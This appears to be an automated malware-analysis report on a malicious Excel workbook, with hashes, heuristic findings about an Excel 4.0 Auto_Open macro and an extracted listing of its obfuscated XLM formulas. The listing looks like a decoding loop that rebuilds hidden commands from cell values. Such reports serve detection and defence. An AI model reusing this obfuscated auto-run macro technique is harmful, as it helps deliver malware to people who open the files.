Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fadad2af4b1a2782…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:42:26 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 87927797f6226412143b5dc094ff0c0f SHA-1: 36a8502975c9484099e91a838d955864fd7e2e1f SHA-256: fadad2af4b1a2782a637231348b1a32676b8c6c2b30872100c5f25e560943e52
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6620 bytes
SHA-256: 2899ab4fecb8fa90427830cc5086b82555b35b1a17912ffefc2b9aace562db11
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  PPTq
' 0018     27 LABEL : Cell Value, String Constant - aljmYzWxOCfu len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H194 
' 0018     22 LABEL : Cell Value, String Constant - aZRjHbw len=0 
' 0018     21 LABEL : Cell Value, String Constant - dMOTPx len=0 
' 0018     21 LABEL : Cell Value, String Constant - dTkOLH len=0 
' 0018     20 LABEL : Cell Value, String Constant - GsnyP len=0 
' 0018     23 LABEL : Cell Value, String Constant - hgjAWctU len=0 
' 0018     27 LABEL : Cell Value, String Constant - HMcMZyXVkRES len=0 
' 0018     20 LABEL : Cell Value, String Constant - IReGi len=0 
' 0018     24 LABEL : Cell Value, String Constant - JTJTNwQrZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - kvkLS len=0 
' 0018     23 LABEL : Cell Value, String Constant - nFJmmrpX len=0 
' 0018     25 LABEL : Cell Value, String Constant - NqqgVmaDMi len=0 
' 0018     21 LABEL : Cell Value, String Constant - pjdZLR len=0 
' 0018     25 LABEL : Cell Value, String Constant - PoAfXZjFdU len=0 
' 0018     23 LABEL : Cell Value, String Constant - pwGDquOU len=0 
' 0018     24 LABEL : Cell Value, String Constant - tSGTnLzxu len=0 
' 0018     22 LABEL : Cell Value, String Constant - xPODbax len=0 
' 0018     23 LABEL : Cell Value, String Constant - zbuyLEpH len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZksGvDmUPE len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZuUCK len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  PPTq,P45,"",-80.00000000000000000000
'  PPTq,P46,"",731.00000000000000000000
'  PPTq,P47,"",55.00000000000000000000
'  PPTq,P48,"",-973.00000000000000000000
'  PPTq,P49,"",-712.00000000000000000000
'  PPTq,P50,"",-845.00000000000000000000
'  PPTq,H99,"SET.NAME("NqqgVmaDMi",0+VALUE("0"))",""
'  PPTq,H102,"SET.NAME("PoAfXZjFdU",NqqgVmaDMi)",""
'  PPTq,H107,"SET.NAME("nFJmmrpX",NqqgVmaDMi)",""
'  PPTq,H109,"SET.NAME("GsnyP",COUNTA(dTkOLH))",""
'  PPTq,H114,"SET.NAME("dMOTPx",COUNTA(ZuUCK))",""
'  PPTq,H118,[],""
'  PPTq,H123,"SET.NAME("hgjAWctU","")",""
'  PPTq,H125,"PoAfXZjFdU",""
'  PPTq,H128,"SET.NAME("zbuyLEpH",HLOOKUP("*",dTkOLH,PoAfXZjFdU,FALSE))",""
'  PPTq,H133,"IReGi",""
'  PPTq,H138,"SET.NAME("ZksGvDmUPE",NqqgVmaDMi)",""
'  PPTq,H142,[],""
'  PPTq,H145,"ZksGvDmUPE",""
'  PPTq,H150,"tSGTnLzxu",""
'  PPTq,H153,"aZRjHbw",""
'  PPTq,H156,"xPODbax",""
'  PPTq,H161,"SET.NAME("kvkLS",VALUE(HLOOKUP("*",ZuUCK,xPODbax,FALSE)))",""
'  PPTq,H163,"pwGDquOU",""
'  PPTq,H167,"hgjAWctU",""
'  PPTq,H170,"nFJmmrpX",""
'  PPTq,H173,NEXT(),""
'  PPTq,H176,"HMcMZyXVkRES",""
'  PPTq,H178,[],""
'  PPTq,H181,"JTJTNwQrZ",""
'  PPTq,H184,NEXT(),""
'  PPTq,H189,RETURN(),""
'  PPTq,H219,"SET.NAME("pjdZLR",H99)",""
'  PPTq,H222,"dTkOLH",""
'  PPTq,H227,"SET.NAME("ZuUCK",R90C12)",""
'  PPTq,H229,"SET.NAME("JTJTNwQrZ",238)",""
'  PPTq,H234,"SET.NAME("aljmYzWxOCfu",8)",""
'  PPTq,H237,pjdZLR(),""
'  PPTq,H238,HALT(),""

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